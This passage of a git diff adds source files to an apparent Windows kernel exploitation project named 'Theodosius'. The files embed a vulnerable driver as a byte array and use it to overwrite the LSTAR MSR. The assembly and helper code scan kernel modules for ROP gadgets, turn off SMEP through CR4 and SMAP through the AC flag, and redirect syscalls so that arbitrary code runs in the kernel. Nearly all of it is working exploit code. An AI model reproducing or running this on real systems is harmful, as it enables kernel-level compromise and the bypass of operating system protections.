0x6B, 0x14, + 0x53, 0x85, 0x97, 0x9E, 0x6A, 0xC6, 0x31, 0x9A, 0x53, 0x5C, 0x09, 0x4F, + 0xA6, 0x47, 0x78, 0x5C, 0x02, 0xCE, 0x11, 0x20, 0xB8, 0xC6, 0xAF, 0x17, + 0xFF, 0x6B, 0x10, 0xEB, 0x00, 0xFA, 0x94, 0x93, 0xC6, 0x5C, 0x1C, 0xE0, + 0xF9, 0x81, 0xBB, 0x12, 0xD5, 0x3C, 0xA7, 0xD4, 0x93, 0xE7, 0x20, 0x3E, + 0x0E, 0xAF, 0x20, 0x2F, 0xDD, 0x37, 0x6D, 0x68, 0x17, 0xCF, 0x0E, 0x4A, + 0x99, 0xAF, 0xFE, 0x59, 0x9E, 0xD7, 0xA5, 0x72, 0x07, 0xF0, 0xC1, 0xC9, + 0xEB, 0x1A, 0xFD, 0x88, 0x22, 0xA7, 0x1A, 0x80, 0x15, 0x2C, 0x08, 0x38, + 0xE7, 0xB9, 0xD3, 0x77, 0xF4, 0x9A, 0xA5, 0x28, 0x24, 0x08, 0xD0, 0x40, + 0xD3, 0x0A, 0x61, 0xBF, 0x88, 0xF5, 0xAA, 0x7F, 0x9D, 0xBE, 0x76, 0xDE, + 0x66, 0x9B, 0x2D, 0x68, 0x97, 0x66, 0x97, 0x61, 0xD0, 0x19, 0x93, 0x37, + 0x8C, 0x3A, 0xA1, 0x39, 0x1C, 0x2A, 0xE8, 0xF1, 0x89, 0x0F, 0xDC, 0x42, + 0x5A, 0x6E, 0x88, 0x88, 0x09, 0x3D, 0x88, 0xC7, 0x61, 0x72, 0x2F, 0xEB, + 0x5C, 0xA7, 0x75, 0x31, 0x82, 0x02, 0xF5, 0x30, 0x82, 0x02, 0xF1, 0x02, + 0x01, 0x01, 0x30, 0x81, 0x93, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, 0x06, + 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, + 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, + 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, + 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, + 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, + 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, + 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, 0x06, + 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, + 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, + 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, 0x02, + 0x13, 0x33, 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, 0xE9, + 0xF9, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x0D, 0x06, 0x09, + 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xA0, + 0x82, 0x01, 0x32, 0x30, 0x1A, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, + 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0D, 0x06, 0x0B, 0x2A, 0x86, 0x48, 0x86, + 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x01, 0x04, 0x30, 0x2F, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, + 0xAF, 0xA7, 0xC0, 0x64, 0x97, 0x71, 0xAE, 0x59, 0x6D, 0xA7, 0x72, 0x4A, + 0xA0, 0x71, 0xBE, 0x98, 0x02, 0xA6, 0xC6, 0x9E, 0x20, 0x89, 0xDB, 0xF9, + 0xDA, 0x42, 0x84, 0x5A, 0xA1, 0x5A, 0x36, 0x09, 0x30, 0x81, 0xE2, 0x06, + 0x0B, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x02, 0x0C, + 0x31, 0x81, 0xD2, 0x30, 0x81, 0xCF, 0x30, 0x81, 0xCC, 0x30, 0x81, 0xB1, + 0x04, 0x14, 0x02, 0xA3, 0xC8, 0x4F, 0x56, 0xF6, 0x90, 0xE8, 0xB5, 0x63, + 0x20, 0x76, 0xE7, 0x31, 0xE9, 0x6B, 0x73, 0xE7, 0x9C, 0x0C, 0x30, 0x81, + 0x98, 0x30, 0x81, 0x80, 0xA4, 0x7E, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, + 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, + 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, + 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, + 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, + 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, + 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, + 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, + 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, + 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, + 0x61, 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, + 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, + 0xE9, 0xF9, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x16, 0x04, + 0x14, 0xC9, 0x29, 0xD4, 0x98, 0x94, 0x7C, 0x74, 0xAD, 0x6B, 0x91, 0x2B, + 0x9C, 0xD1, 0x21, 0xA5, 0x0A, 0x8F, 0xAA, 0x08, 0xD5, 0x30, 0x0D, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, + 0x04, 0x82, 0x01, 0x00, 0x87, 0xF7, 0x8F, 0xC9, 0x8F, 0x27, 0x91, 0x8A, + 0xD7, 0x16, 0x3B, 0xAD, 0x2D, 0x44, 0xF9, 0xFD, 0x5C, 0xF8, 0xB5, 0xC8, + 0x9A, 0x7F, 0x54, 0xD5, 0xE8, 0x34, 0x27, 0xAC, 0x04, 0xC4, 0x2D, 0xB3, + 0x96, 0xE8, 0xCB, 0xE8, 0x99, 0x84, 0x36, 0xE6, 0xFA, 0x67, 0x54, 0xB7, + 0xA5, 0x6C, 0xA3, 0xAD, 0x36, 0x9F, 0xE8, 0x61, 0xCD, 0xAC, 0xF3, 0x71, + 0x4C, 0xD3, 0x16, 0x7E, 0xD4, 0xEE, 0x5D, 0xA5, 0x99, 0x24, 0xE4, 0x12, + 0x34, 0x1D, 0xE8, 0x02, 0xC2, 0xB3, 0x6F, 0xB4, 0xE7, 0x03, 0xE4, 0x3A, + 0xF9, 0x96, 0x3B, 0x64, 0xA2, 0x13, 0x80, 0xB2, 0xA7, 0x86, 0x6D, 0x65, + 0x99, 0x21, 0x3B, 0xD0, 0x3E, 0xC4, 0x28, 0xD5, 0xEB, 0x8F, 0xC8, 0xF7, + 0xB0, 0x8E, 0xEF, 0xEF, 0x77, 0x77, 0x64, 0xC0, 0x30, 0xD1, 0x6D, 0xE6, + 0x31, 0x6B, 0xD6, 0xA8, 0xD2, 0xEC, 0x04, 0x9F, 0xFF, 0x4F, 0x00, 0x61, + 0xC9, 0x92, 0x1C, 0xAA, 0xD6, 0xA7, 0x17, 0xC8, 0xD6, 0x36, 0xA6, 0x0E, + 0xD5, 0xB3, 0x40, 0xF4, 0xA6, 0x53, 0xCA, 0xDE, 0xB3, 0xEB, 0x91, 0xF1, + 0x49, 0x09, 0x13, 0xCF, 0x05, 0x0B, 0x7C, 0x93, 0xA7, 0xBB, 0x26, 0xD0, + 0x4F, 0xE2, 0x3F, 0xC0, 0xFA, 0x05, 0x42, 0x01, 0x48, 0xCF, 0x7A, 0x65, + 0xFA, 0x6D, 0x3D, 0x57, 0x9A, 0x45, 0xA1, 0xB6, 0xC6, 0x01, 0x6A, 0x85, + 0x0F, 0x45, 0x47, 0x1E, 0xB0, 0x91, 0x64, 0x93, 0x89, 0xC3, 0x49, 0xD4, + 0x95, 0xD0, 0xF2, 0x0A, 0x4F, 0x12, 0x2C, 0x00, 0x4C, 0x19, 0x9B, 0x12, + 0xF4, 0x8C, 0xE6, 0x68, 0xD1, 0x28, 0xBA, 0x46, 0x42, 0x95, 0x87, 0xC3, + 0x33, 0xF6, 0x5E, 0x1E, 0x80, 0xEC, 0xAA, 0x49, 0x0C, 0xA8, 0x47, 0x50, + 0xBA, 0xA7, 0x3E, 0x6F, 0xBE, 0xAE, 0x9A, 0xBE, 0x2F, 0xA0, 0x1C, 0x33, + 0x82, 0x71, 0x9E, 0xE1, 0xE4, 0x5D, 0xCF, 0xD3 +}; \ No newline at end of file diff --git a/Theodosius/syscall_handler.asm b/Theodosius/syscall_handler.asm new file mode 100644 index 0000000..333b5eb --- /dev/null +++ b/Theodosius/syscall_handler.asm @@ -0,0 +1,90 @@ +extern msrexec_handler : proc + +.data + ; offsets into _KPCR/_KPRCB + m_kpcr_rsp_offset dq 0h + m_kpcr_krsp_offset dq 0h + m_system_call dq 0h + + m_mov_cr4_gadget dq 0h + m_sysret_gadget dq 0h + m_pop_rcx_gadget dq 0h + + m_smep_on dq 0h + m_smep_off dq 0h + + public m_smep_on + public m_smep_off + + public m_kpcr_rsp_offset + public m_kpcr_krsp_offset + + public m_pop_rcx_gadget + public m_mov_cr4_gadget + public m_sysret_gadget + public m_system_call + +.code +syscall_handler proc + swapgs ; swap gs to kernel gs (_KPCR...) + + mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB + mov gs:[rax], rsp + + mov rax, m_kpcr_krsp_offset ; load kernel rsp.... + mov rsp, gs:[rax] + + push rcx ; push RIP + push r11 ; push EFLAGS + + mov rcx, r10 ; swapped by syscall instruction so we switch it back... + sub rsp, 020h + call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...) + add rsp, 020h + + pop r11 ; pop EFLAGS + pop rcx ; pop RIP + + mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack... + mov rsp, gs:[rax] + + swapgs ; swap back to TIB... + ret +syscall_handler endp + +syscall_wrapper proc + push r10 ; syscall puts RIP into rcx... + pushfq + + mov r10, rcx ; swap r10 and rcx... + push m_sysret_gadget ; REX.W prefixed... + + lea rax, finish ; preserved value of RIP by putting it on the stack here... + push rax ; + + push m_pop_rcx_gadget ; gadget to put RIP back into rcx... + push m_mov_cr4_gadget ; turn smep back on... + + push m_smep_on ; value of CR4 with smep off... + push m_pop_rcx_gadget ; + + lea rax, syscall_handler ; rop to syscall_handler to handle the syscall... + push rax ; + + push m_mov_cr4_gadget ; disable smep... + push m_smep_off ; + + pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!! + pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"... + or rax, 040000h ; + push rax ; + popfq ; + + syscall ; LSTAR points at a pop rcx gadget... + ; it will put m_smep_off into rcx... +finish: + popfq ; restore EFLAGS... + pop r10 ; restore r10... + ret +syscall_wrapper endp +end \ No newline at end of file diff --git a/Theodosius/syscall_handler.h b/Theodosius/syscall_handler.h new file mode 100644 index 0000000..153ae0b --- /dev/null +++ b/Theodosius/syscall_handler.h @@ -0,0 +1,14 @@ +#pragma once +#include "ia32.hpp" + +extern "C" std::uint32_t m_kpcr_rsp_offset; +extern "C" std::uint32_t m_kpcr_krsp_offset; + +extern "C" std::uintptr_t m_pop_rcx_gadget; +extern "C" std::uintptr_t m_mov_cr4_gadget; +extern "C" std::uintptr_t m_sysret_gadget; + +extern "C" cr4 m_smep_on; +extern "C" cr4 m_smep_off; +extern "C" std::uintptr_t m_system_call; +extern "C" void syscall_wrapper(...); \ No newline at end of file diff --git a/Theodosius/utils.hpp b/Theodosius/utils.hpp new file mode 100644 index 0000000..9566443 --- /dev/null +++ b/Theodosius/utils.hpp @@ -0,0 +1,414 @@ +/* + WARNING: utils.hpp must be the first file included... + this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... +*/ + +#pragma once +#define _CRT_SECURE_NO_WARNINGS +#pragma comment(lib, "ntdll.lib") + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include "ia32.hpp" + +#define DBG_PRINT(format, ...) \ + std::printf(format, __VA_ARGS__ ) + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; + } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION +{ + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG KvaShadowRequired : 1; + ULONG KvaShadowRequiredAvailable : 1; + ULONG InvalidPteBit : 6; + ULONG L1DataCacheFlushSupported : 1; + ULONG L1TerminalFaultMitigationPresent : 1; + ULONG Reserved : 18; + } KvaShadowFlags; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +namespace utils +{ + inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) + { + static const auto check_mask = + [&](const char* base, const char* pattern, const char* mask) -> bool + { + for (; *mask; ++base, ++pattern, ++mask) + if (*mask == 'x' && *base != *pattern) + return false; + return true; + }; + + size -= strlen(mask); + for (auto i = 0; i <= size; ++i) + { + void* addr = (void*)&(((char*)base)[i]); + if (check_mask((char*)addr, pattern, mask)) + return reinterpret_cast(addr); + } + + return NULL; + } + + inline void open_binary_file(const std::string& file, std::vector& data) + { + std::ifstream fstr(file, std::ios::binary); + fstr.unsetf(std::ios::skipws); + fstr.seekg(0, std::ios::end); + + const auto file_size = fstr.tellg(); + + fstr.seekg(NULL, std::ios::beg); + data.reserve(static_cast(file_size)); + data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); + } + + inline std::uint32_t get_pid(const wchar_t* proc_name) + { + PROCESSENTRY32 proc_info; + proc_info.dwSize = sizeof(proc_info); + + HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if (proc_snapshot == INVALID_HANDLE_VALUE) + return NULL; + + Process32First(proc_snapshot, &proc_info); + if (!wcscmp(proc_info.szExeFile, proc_name)) + { + CloseHandle(proc_snapshot); + return proc_info.th32ProcessID; + } + + while (Process32Next(proc_snapshot, &proc_info)) + { + if (!wcscmp(proc_info.szExeFile, proc_name)) + { + CloseHandle(proc_snapshot); + return proc_info.th32ProcessID; + } + } + + CloseHandle(proc_snapshot); + return NULL; + } + + + namespace kmodule + { + using kmodule_callback_t = std::function; + inline void each_module(kmodule_callback_t callback) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + auto status = NtQuerySystemInformation( + static_cast(0xB), + buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation( + static_cast(0xB), + buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + auto full_path = std::string( + reinterpret_cast( + modules->Modules[idx].FullPathName)); + + if (full_path.find("\\SystemRoot\\") != std::string::npos) + full_path.replace(full_path.find("\\SystemRoot\\"), + sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); + + else if (full_path.find("\\??\\") != std::string::npos) + full_path.replace(full_path.find("\\??\\"), + sizeof("\\??\\") - 1, ""); + + if (!callback(&modules->Modules[idx], full_path.c_str())) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return; + } + + inline std::uintptr_t get_base(const char* module_name) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + auto status = NtQuerySystemInformation( + static_cast(0xB), + buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation( + static_cast(0xB), + buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + const auto current_module_name = + std::string(reinterpret_cast( + modules->Modules[idx].FullPathName) + + modules->Modules[idx].OffsetToFileName); + + if (!_stricmp(current_module_name.c_str(), module_name)) + { + const auto result = + reinterpret_cast( + modules->Modules[idx].ImageBase); + + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + inline std::uintptr_t get_export(const char* module_name, const char* export_name) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation( + static_cast(0xB), + buffer, + buffer_size, + &buffer_size + ); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, 0, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation( + static_cast(0xB), + buffer, + buffer_size, + &buffer_size + ); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, 0, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + // find module and then load library it + const std::string current_module_name = + std::string(reinterpret_cast( + modules->Modules[idx].FullPathName) + + modules->Modules[idx].OffsetToFileName + ); + + if (!_stricmp(current_module_name.c_str(), module_name)) + { + auto full_path = std::string( + reinterpret_cast( + modules->Modules[idx].FullPathName)); + + full_path.replace(full_path.find("\\SystemRoot\\"), + sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); + + const auto module_base = + LoadLibraryExA( + full_path.c_str(), + NULL, + DONT_RESOLVE_DLL_REFERENCES + ); + + const auto image_base = + reinterpret_cast( + modules->Modules[idx].ImageBase); + + // free the RTL_PROCESS_MODULES buffer... + VirtualFree(buffer, NULL, MEM_RELEASE); + + const auto rva = + reinterpret_cast( + GetProcAddress(module_base, export_name)) - + reinterpret_cast(module_base); + + return image_base + rva; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + } + + namespace pe + { + using section_callback_t = std::function; + + // returns an std::vector containing all of the bytes of the section + // and also the RVA from the image base to the beginning of the section... + inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) + { + const auto nt_headers = reinterpret_cast( + reinterpret_cast(module_base)->e_lfanew + module_base); + + const auto section_header = + reinterpret_cast( + reinterpret_cast(nt_headers) + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); + + for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) + { + const auto _section_name = + reinterpret_cast( + section_header[idx].Name); + + // sometimes section names are not null terminated... + if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) + { + const auto section_base = + reinterpret_cast( + module_base + section_header[idx].VirtualAddress); + + const auto section_end = + reinterpret_cast( + section_base + section_header[idx].Misc.VirtualSize); + + std::vector section_bin(section_base, section_end); + return { section_bin, section_header[idx].VirtualAddress }; + } + } + + return { {}, {} }; + } + + inline void each_section(section_callback_t callback, std::uintptr_t module_base) + { + if (!module_base) + return; + + const auto nt_headers = reinterpret_cast( + reinterpret_cast(module_base)->e_lfanew + module_base); + + const auto section_header = + reinterpret_cast( + reinterpret_cast(nt_headers) + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); + + for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) + { + const auto _section_name = + reinterpret_cast( + section_header[idx].Name); + + // keep looping until the callback returns false... + if (!callback(§ion_header[idx], module_base)) + return; + } + } + } + + namespace rop + { + // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ + // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 + // just implimented the rop information from these posts... + inline std::uintptr_t find_kgadget(const char* sig, const char* mask) + { + std::uintptr_t result = 0u; + kmodule::each_module( + [&](auto kernel_image, const char* image_name) -> bool + { + utils::pe::each_section( + [&](auto section_header, std::uintptr_t image_base) -> bool + { + if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && + !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) + { + const auto rop_gadget = + utils::scan(image_base + section_header->VirtualAddress, + section_header->Misc.VirtualSize, sig, mask); + + if(rop_gadget) + result = (rop_gadget - image_base) + + reinterpret_cast(kernel_image->ImageBase); + + return !rop_gadget; + } + return true; + }, + reinterpret_cast( + LoadLibraryExA(image_name, + NULL, DONT_RESOLVE_DLL_REFERENCES)) + ); + return !result; + } + ); + return result; + } + } +} \ No newline at end of file diff --git a/Theodosius/vdm.hpp b/Theodosius/vdm.hpp new file mode 100644 index 0000000..86624bf --- /dev/null +++ b/Theodosius/vdm.hpp @@ -0,0 +1,66 @@ +#pragma once +#include +#include + +#include "loadup.hpp" +#include "raw_driver.hpp" +#define IOCTL_WRMSR 0x229384 + +#pragma pack (push, 1) +typedef struct _write_msr_t +{ + std::uint32_t reg; + std::uintptr_t value; +} write_msr_t, * pwrite_msr_t; +#pragma pack (pop) + +namespace vdm +{ + inline HANDLE drv_handle; + inline auto load_drv() -> std::tuple + { + const auto [result, key] = + driver::load( + raw_driver, + sizeof raw_driver + ); + + if (result != STATUS_SUCCESS) + return { {}, {}, result }; + + std::string symlink("\\\\.\\" + key); + vdm::drv_handle = CreateFileA( + symlink.c_str(), + GENERIC_READ | GENERIC_WRITE, + NULL, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + return { vdm::drv_handle, key, result }; + } + + inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS + { + if (!CloseHandle(drv_handle)) + return STATUS_FAIL_CHECK; + + return driver::unload(drv_key); + } + + inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool + { + std::uint32_t bytes_handled; + write_msr_t io_data{ reg, value }; + + return DeviceIoControl + ( + vdm::drv_handle, IOCTL_WRMSR, + &io_data, sizeof io_data, + &io_data, sizeof io_data, + (LPDWORD)&bytes_handled, nullptr + ); + } +} \ No newline at end of file